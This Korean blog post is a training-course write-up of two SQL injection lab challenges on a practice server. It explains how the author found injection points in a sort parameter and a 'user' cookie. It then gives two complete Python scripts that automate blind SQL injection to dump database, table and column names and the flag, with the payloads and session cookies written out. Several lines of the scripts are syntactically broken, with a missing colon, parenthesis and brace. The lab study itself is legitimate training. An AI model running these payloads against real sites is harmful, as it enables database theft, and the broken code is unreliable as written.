[normaltic 취업반 5기] 2023-12-13 8주차 과제 : 3번 과제 SQL Injection Advanced 3,4

2023. 12. 20. 02:36normaltic 취업반 5기/과제

 

SQL Injection Point 3 문제

 

실습용 웹 애플리케이션

 

  해당 문제에서의 실습용 웹 애플리케이션이다. SQL Injection Point를 찾는 작업을 진행한 후 SQL Injection 공격을 진행하도록 한다. 먼저 Login 버튼을 클릭해 보자.

 

 

  Login 버튼을 클릭하면 로그인 페이지를 확인할 수 있다. Sign up 버튼을 클릭하여 계정을 새로 생성한 후 로그인을 하게 되면 마이페이지, 게시판, Logout 버튼이 나타난다. SQL Injection은 SQL 질의문이 사용되는 위치에서 공격 수행이 가능하다. 우선 마이페이지 버튼을 클릭하여 Point가 있는지 확인해 보자.

 

 

  마이페이지에서 SQL 질의문이 사용되는 부분은 사용자 측의 SESSION ID를 참고하여 사용자 계정 정보를 출력해 준다. SESSION ID는 요청 시 Cookie 형태로 같이 전달한다. 그렇다면 Cookie를 확인하기 위해 Burp Suite로 확인해 보자.

 

 

  Cookie를 확인한 결과 사용자 식별은 SESSION ID로 식별하는 것으로 추측해 볼 수 있다. 이를 통해 마이페이지에서는 SQL Injection Point가 될 가능성이 희미하다. 그렇다면 돌아가서 게시판 버튼을 클릭하도록 하자.

 

 

  게시판에서 SQL 질의문이 사용되는 위치는 게시글 조회 입력칸 조회 시 입력 기준을 선택할 수 있는 콤보박스이다. 만약 게시글 조회 입력칸에서 SQL Injection이 가능하다면 Union Based SQL Injection을 사용 가능하기 때문에 입력칸에 SQL 질의문을 삽입해 보도록 하자. 또한 이를 위해 게시글을 어느 정도 생성해 두자.

 

 

  게시글 조회 입력칸에서 사용되는 SQL 질의문은 문자열이 완벽히 일치하는 경우와 일부만 입력해도 조회되는 경우가 존재한다. 이것을 확인하기 위해 조회 기준을 작성자로 선택하고 'van'이란 문자열을 입력하여 게시글이 조회되는지 확인해 보자.

 

 

  일부 문자열만 입력해도 게시글이 조회되는 것으로 보아 SQL 질의문은 일부만 입력해도 조회되는 경우이며 이 경우에 사용되는 SQL 질의문은 다음과 같다.

 

 

  일부만 입력해도 조회되는 경우는 LIKE 구문을 사용한다. 이제 SQL 질의문도 특정지었으니 게시글 조회 입력칸에서 SQL 질의문을 삽입함으로써 SQL Injection Point가 될 가능성이 있는지 확인해 보자.

 

 

  SQL 질의문을 삽입한 결과 게시글이 출력되지 않았다. 그렇다면 이 위치에서는 SQL Injection Point가 될 가능성이 희미하다. 남은 위치는 조회 시 입력 기준을 선택할 수 있는 콤보박스이다. 해당 위치는 요청 시 파라미터로 그 값을 전달하기 때문에 Burp Suite로 확인해봐야 한다.

 

 

  Burp Suite로 확인한 결과 option_val라는 파라미터로 콤보박스의 값을 전달하는 것으로 확인이 되었다. 해당 위치에서의 SQL 질의문은 다음과 같이 추측해 볼 수 있다.

 

 

  option_val 파라미터로 전달하는 데이터는 SQL 질의문의 컬럼명일 확률이 높다. 이를 확인해 보기 위해 option_val='1'='1' AND username과 board_result=van로 요청해 보자.

 

option_val=username, board_result=van 일 때 응답 결과
option_val='1'='1' AND username, board_result=van 일 때 응답 결과

 

  응답 결과 다른 내용을 출력하는 것으로 보아 SQL Injection Point일 가능성이 희미하다. 두 경우가 모두 가능성이 희미하므로 다른 Point를 찾아봐야 한다. 그러다 해당 페이지에서 전달하는 파라미터 중 sort라는 파라미터가 눈에 띄었다. sort는 '정렬'이란 뜻으로 임의값을 기준으로 나열한다는 것이다. 그렇다는 것은 sort 파라미터로 전달하는 데이터는 SQL 질의문에서 ORDER BY 구문에 삽입되는 데이터로 추측해 볼 수 있다. 이를 통해 해당 위치에서의 SQL 질의문은 다음과 같이 구성될 가능성이 높다.

 

 

  sort 파라미터로 전달하는 데이터는 SQL 질의문의 컬럼명일 확률이 높다. 또한 컬럼 하나의 이름만 허용한다. 이를 확인해 보기 위해 sort=case when (1=1) then (title) else (select 1 union select 2) end으로 요청해 보자. 해당 질의문은 조건(1=1)이 참일 때 title을 출력하고 거짓일 때는 select 1 union select 2으로 여러 행이 출력되어 에러가 발생한다.

 

sort= case when (1=1) then (title) else (select 1 union select 2) end일 때 응답 결과
sort= case when (1=2) then (title) else (select 1 union select 2) end일 때 응답 결과

 

  응답 결과 같은 내용을 출력하는 것으로 보아 SQL Injection Point로 사용 가능하다. 또한 해당 위치에서 참과 거짓의 결과를 게시글 출력 유무로 판단 가능하기 때문에 Blind SQL Injection을 사용 가능하다. 그렇다면 Blind SQL Injection 공격을 진행하도록 하자.

 

SQL Injection Point 3 문제 : Blind SQL Injection

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
import requests
 
 
URL = "http://ctf.segfaulthub.com:7777/sqli_8/notice_list.php" # 공격 대상 변경 시 수정
 
headers = {
    "User-Agent""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36",
# 공격 대상 변경 시 수정
 
 
def printUI() :
    print("====================================================================\n")
    print("               Blind SQL Injection Program by vanhart               \n")
    print("====================================================================\n")
    print("단계별 공격을 선택해주세요.(원하는 옵션 숫자를 입력해주세요.)\n")
    print("1. DB 이름 찾기\n2. TABLE 이름 찾기\n3. COLUMN 이름 찾기\n4. DATA 추출\n5. 종료\n")
    print("====================================================================\n")
 
 
def select_query(select_num) :
    
    db_name = ""
    table_name = ""
    column_name = ""
 
    if(select_num == '1'):
        query = "select database()"
    elif(select_num == '2'):
        print("\n====================================================================\n")
        db_name = input('DB 이름을 입력해주세요.\n입력 : ')
        print("\n====================================================================\n")
        query = "select table_name from information_schema.tables where table_schema = '"+db_name+"' limit {},1"
    elif(select_num == '3'):
        print("\n====================================================================\n")
        table_name = input('TABLE 이름을 입력해주세요.\n입력 : ')
        print("\n====================================================================\n")
        query = "select column_name from information_schema.columns where table_name = '"+table_name+"' limit {},1"
    else:
        print("\n====================================================================\n")
        table_name = input('TABLE 이름을 입력해주세요.\n입력 : ')
        print("\n====================================================================\n")
        column_name = input('COLUMN 이름을 입력해주세요.\n입력 : ')
        print("\n====================================================================\n")
        query = "select "+column_name+" from "+table_name+" limit {},1"
 
    return query
 
 
def binary_search(query) :
 
    ref = "존재하지 않습니다." # 공격 대상 변경 시 수정
 
    blind_format = "ascii(substr(({}),{},1)) > {}" # Blind SQL Injection Format
    
    position = 1 # 문자열 위치 변수
    start = 32 # 아스키 코드 '!'부터
    end = 126 # 아스키 코드 '~'까지 비교
    value = "" # 결과를 저장할 변수
 
    while True :
 
        # 이진 탐색 시 중간값을 계속해서 변경한다.
        mid = int((start+end)/2
 
        # 문자열의 끝에 다다랐을 경우를 판단하기 위한 payload, 
        payload = {        
            "option_val""username",
            "board_result" : "",
            "board_search" : "%F0%9F%94%8D",
            "date_from" : "",
            "date_to" : "",
            "sort" : "case when "+blind_format.format(query, position, 0)+" then title else (select 1 union select 2) end"
        }
 
        cookies={
                "session" : "4ae7545d-0d27-49c8-888e-7ce400ceb9bf.F2HJBPAuyKMRg-hGPYFexXh1QVE",
                "PHPSESSID" : "hrao5lkl3l6q0gvs5k3smdv20n"
            } 
 
        response = requests.post(URL, data=payload, cookies=cookies, headers=headers) # POST 메소드로 요청, GET 메소드로 요청 시에는 바꿔준다.
 
        if ref in response.text : # 문자열의 끝에 다다른 경우 NULL값을 반환하므로 프로그램 종료
            break
        else :
 
            payload = {        
                "option_val""username",
                "board_result" : "",
                "board_search" : "%F0%9F%94%8D",
                "date_from" : "",
                "date_to" : "",
                "sort" : "case when "+blind_format.format(query, position, mid)+" then title else (select 1 union select 2) end"
        }
 
            cookies={
                "session" : "4ae7545d-0d27-49c8-888e-7ce400ceb9bf.F2HJBPAuyKMRg-hGPYFexXh1QVE",
                "PHPSESSID" : "hrao5lkl3l6q0gvs5k3smdv20n"
            }  
 
            response = requests.post(URL, data=payload, cookies=cookies, headers=headers) # POST 메소드로1 요청, GET 메소드로 요청 시에는 바꿔준다.
 
            if ref in response.text :
                end = mid # 응답 결과 FALSE이면 end 값을 mid로 바꾼다
            else :
                start = mid # 응답 결과 TRUE면 start 값을 mid로 바꾼다
 
            # start값에 1 더한 값이 end 값과 같거나 크면 end 값이 찾던 문자를 의미.
            if start + 1 >= end :
                value += chr(end)
                position += 1
 
                # 초기화
                start = 32
                end = 126
 
    return value
 
while True :
 
    # UI 출력
    printUI()
    select_num = input('선택 번호 : ')
 
    # 프로그램 종료를 원한다면 5 입력
    if select_num == '5':
        break
    else :
        query = select_query(select_num)
        if(select_num == '1') :
            result = binary_search(query)
            print(result+"\n")
        else :
            i=0
            while True :
                result = binary_search(query.format(i))
                if(result == "") :
                    break
                else :
                    print(result+"\n")
                    i+=1
 
cs

 

  위 python 코드는 Blind SQL Injection에 쓰일 자동화 프로그램 코드다. 조건에 맞게 입력 후 프로그램을 실행한다.

 

1) DB 이름

 

 

  DB 이름 조회 결과 'sqli_8'로 확인되었다.

 

2) TABLE 이름

 

 

  TABLE 이름 조회 결과 'board, flag_Table, member'로 세 개의 TABLE이 존재하는 것으로 확인되었다. 

 

3) COLUMN 이름

 

  플레그는 flag_Table에 있을 것으로 추정되므로 먼저 flag_Table의 COLUMN 이름을 조회하도록 하자.

 

 

  COLUMN 이름 조회 결과 'idx, flagData'로 두 개의 COLUMN이 존재하는 것으로 확인되었다.

 

4) DATA 추출

 

  플레그는 flagData에 있을 것으로 추정되므로 먼저 flagData의 데이터를 추출하도록 하자.

 

 

  DATA 추출 결과 'wjejjfji, 플레그'로 두 개의 DATA가 존재하며 그중 하나는 플레그인 것으로 확인이 되었다.

 

SQL Injection Point 4 문제

 

실습용 웹 애플리케이션


  해당 문제에서의 실습용 웹 애플리케이션이다. SQL Injection Point를 찾는 작업을 진행한 후 SQL Injection 공격을 진행하도록 한다. 먼저 Login 버튼을 클릭해 보자.

 

 

  Login 버튼을 클릭하면 로그인 페이지를 확인할 수 있다. Sign up 버튼을 클릭하여 계정을 새로 생성한 후 로그인을 하게 되면 마이페이지, 게시판, Logout 버튼이 나타난다. SQL Injection은 SQL 질의문이 사용되는 위치에서 공격 수행이 가능하다. 우선 마이페이지 버튼을 클릭하여 Point가 있는지 확인해 보자.

 

 

  마이페이지에서 SQL 질의문이 사용되는 부분은 사용자 측의 SESSION ID를 참고하여 사용자 계정 정보를 출력해 준다. SESSION ID는 요청 시 Cookie 형태로 같이 전달한다. 그렇다면 Cookie를 확인하기 위해 Burp Suite로 확인해 보자.

 

 

  Cookie를 확인한 결과 user라는 쿠키명에 쿠키값으로 사용자 계정이 존재하는 것을 확인할 수 있었다. 이를 통해 'user라는 쿠키로 사용자를 식별한다'라는 것과 다음과 같은 SQL 질의문을 사용하는 것으로 추측해 볼 수 있다.

 

 

  SQL 질의문의 구성이 어떤 형태인지 추측해 봤으니 이를 검증하기 위해서 user 쿠키값으로 vanhart' AND '1'='1라는 질의문을 삽입하여 응답 결과를 확인해 보자.

 

user=vanhart 일 때 응답 결과
user=vanhart' AND '1'='1 일 때 응답 결과
user=vanhart' AND '1'='2 일 때 응답 결과
user= vanhart' and extractvalue('1', concat(0x3a,(select 'test'))) and '1'='1 일 때 응답 결과


  응답 결과 같은 내용으로 출력되는 것으로 추측했던 내용이 검증되었으며 Cookie를 통해 SQL Injection 공격이 가능하다는 점을 알게 되었다. 그러나 vanhart' AND '1'='2 라는 질의문을 삽입하였음에도 불구하고 별다른 차이가 없었으며 vanhart' and extractvalue('1', concat(0x3a,(select 'test'))) and '1'='1 라는 질의문을 삽입했더니 'DB Error...' 문자열을 출력하는 웹 페이지가 응답되었다.

 

  지금까지 확인된 정보를 나열하면 다음과 같다.

  • 마이페이지에서는 user라는 쿠키로 사용자를 식별한다.
  • user 쿠키의 쿠키값을 SQL 질의문에 삽입하여 조회한 사용자 정보를 출력한다.
  • user 쿠키로 SQL Injection 공격이 가능하며 참과 거짓을 구분할 수 없다.
  • SQL 질의문 에러 메시지는 출력되지 않는다.

 

  위 정보들을 취합하면 SQL 질의문의 결과는 출력되지 않으니 Union Based SQL Injection는 사용할 수 없으며, SQL 질의문 에러 메시지도 출력되지 않아 Error Based SQL Injection도 사용할 수 없다. 또한 참과 거짓의 결과를 구분할 수 없어 Blind SQL Injection도 사용 불가능하다. 그렇다면 확실하게 참과 거짓을 구분이 가능하도록 SQL 질의문을 변경하여 삽입하도록 해보자.

 

user=vanhart' AND (select 1 union select 2 where (1=2)) AND '1'='1
user=vanhart' AND (select 1 union select 2 where (1=1)) AND '1'='1

 

  삽입된 SQL 질의문은 다음과 같다.

 

 

  위 SQL 질의문은 AND와 AND 사이의 질의문의 조건에 따라 에러를 유발한다. 조건의 결과가 참이면 여러 행을 가진 값이 출력되어 에러를 유발한다. 즉, 참과 거짓의 결과를 구분할 수 없을 때 아예 에러를 유발함으로 그것을 구별할 수 있는 척도로 삼는 것이다. 조건의 결과가 거짓이면 1이 출력되어 문제없는 결과를 출력한다. 그렇다면 Blind SQL Injection 공격을 진행하도록 하자.

 

SQL Injection Point 4 문제 : Blind SQL Injection

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
import requests
 
 
URL = "http://ctf.segfaulthub.com:7777/sqli_9/mypage.php" # 공격 대상 변경 시 수정
 
headers = {
    "User-Agent""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36",
# 공격 대상 변경 시 수정
 
 
def printUI() :
    print("====================================================================\n")
    print("               Blind SQL Injection Program by vanhart               \n")
    print("====================================================================\n")
    print("단계별 공격을 선택해주세요.(원하는 옵션 숫자를 입력해주세요.)\n")
    print("1. DB 이름 찾기\n2. TABLE 이름 찾기\n3. COLUMN 이름 찾기\n4. DATA 추출\n5. 종료\n")
    print("====================================================================\n")
 
 
def select_query(select_num) :
    
    db_name = ""
    table_name = ""
    column_name = ""
 
    if(select_num == '1'):
        query = "select database()"
    elif(select_num == '2'):
        print("\n====================================================================\n")
        db_name = input('DB 이름을 입력해주세요.\n입력 : ')
        print("\n====================================================================\n")
        query = "select table_name from information_schema.tables where table_schema = '"+db_name+"' limit {},1"
    elif(select_num == '3'):
        print("\n====================================================================\n")
        table_name = input('TABLE 이름을 입력해주세요.\n입력 : ')
        print("\n====================================================================\n")
        query = "select column_name from information_schema.columns where table_name = '"+table_name+"' limit {},1"
    else:
        print("\n====================================================================\n")
        table_name = input('TABLE 이름을 입력해주세요.\n입력 : ')
        print("\n====================================================================\n")
        column_name = input('COLUMN 이름을 입력해주세요.\n입력 : ')
        print("\n====================================================================\n")
        query = "select "+column_name+" from "+table_name+" limit {},1"
 
    return query
 
 
def binary_search(query) :
 
    ref = "Error" # 공격 대상 변경 시 수정
 
    blind_format = "' AND (select 1 union select 2 where (ascii(substr(({}),{},1)) > {})) AND '1'='1" # Blind SQL Injection Format
    
    position = 1 # 문자열 위치 변수
    start = 32 # 아스키 코드 '!'부터
    end = 126 # 아스키 코드 '~'까지 비교
    value = "" # 결과를 저장할 변수
 
    while True :
 
        # 이진 탐색 시 중간값을 계속해서 변경한다.
        mid = int((start+end)/2
 
        # 문자열의 끝에 다다랐을 경우를 판단하기 위한 payload, 
        payload = {
            "user":"vanhart" + blind_format.format(query, position, 0),
            "session":"4ae7545d-0d27-49c8-888e-7ce400ceb9bf.F2HJBPAuyKMRg-hGPYFexXh1QVE",
            "PHPSESSID":"hrao5lkl3l6q0gvs5k3smdv20n"
        } 
 
        response = requests.get(URL, cookies=payload, headers=headers) # POST 메소드로 요청, GET 메소드로 요청 시에는 바꿔준다.
 
        if ref in response.text : # 문자열의 끝에 다다른 경우 NULL값을 반환하므로 프로그램 종료
            
            payload = {
                "user":"vanhart" + blind_format.format(query, position, mid),
                "session":"4ae7545d-0d27-49c8-888e-7ce400ceb9bf.F2HJBPAuyKMRg-hGPYFexXh1QVE",
                "PHPSESSID":"hrao5lkl3l6q0gvs5k3smdv20n"
            } 
 
            response = requests.get(URL, cookies=payload, headers=headers) # POST 메소드로 요청, GET 메소드로 요청 시에는 바꿔준다.
 
            if ref in response.text :
                start = mid # 응답 결과 TRUE면 start 값을 mid로 바꾼다
            else :
                end = mid # 응답 결과 FALSE이면 end 값을 mid로 바꾼다
 
            # start값에 1 더한 값이 end 값과 같거나 크면 end 값이 찾던 문자를 의미.
            if start + 1 >= end :
                value += chr(end)
                position += 1
 
                # 초기화
                start = 32
                end = 126
        else :
            break
 
    return value
 
while True :
 
    # UI 출력
    printUI()
    select_num = input('선택 번호 : ')
 
    # 프로그램 종료를 원한다면 5 입력
    if select_num == '5':
        break
    else :
        query = select_query(select_num)
        if(select_num == '1') :
            result = binary_search(query)
            print(result+"\n")
        else :
            i=0
            while True :
                result = binary_search(query.format(i))
                if(result == "") :
                    break
                else :
                    print(result+"\n")
                    i+=1
 
cs

 

  위 python 코드는 Blind SQL Injection에 쓰일 자동화 프로그램 코드다. 조건에 맞게 입력 후 프로그램을 실행한다.

 

1) DB 이름

 

 

  DB 이름 조회 결과 'sqli_9'로 확인되었다.

 

2) TABLE 이름

 

 

  TABLE 이름 조회 결과 'board, flagHere, member'로 세 개의 TABLE이 존재하는 것으로 확인되었다. 

 

3) COLUMN 이름

 

  플레그는 flagHere에 있을 것으로 추정되므로 먼저 flagHere의 COLUMN 이름을 조회하도록 하자.

 

 

  COLUMN 이름 조회 결과 'idx, flag'로 두 개의 COLUMN이 존재하는 것으로 확인되었다.

 

4) DATA 추출

 

  플레그는 flag에 있을 것으로 추정되므로 먼저 flag의 데이터를 추출하도록 하자.

 

 

  DATA 추출 결과 '플레그'로 한 개의 DATA가 존재하며 이는 플레그인 것으로 확인이 되었다.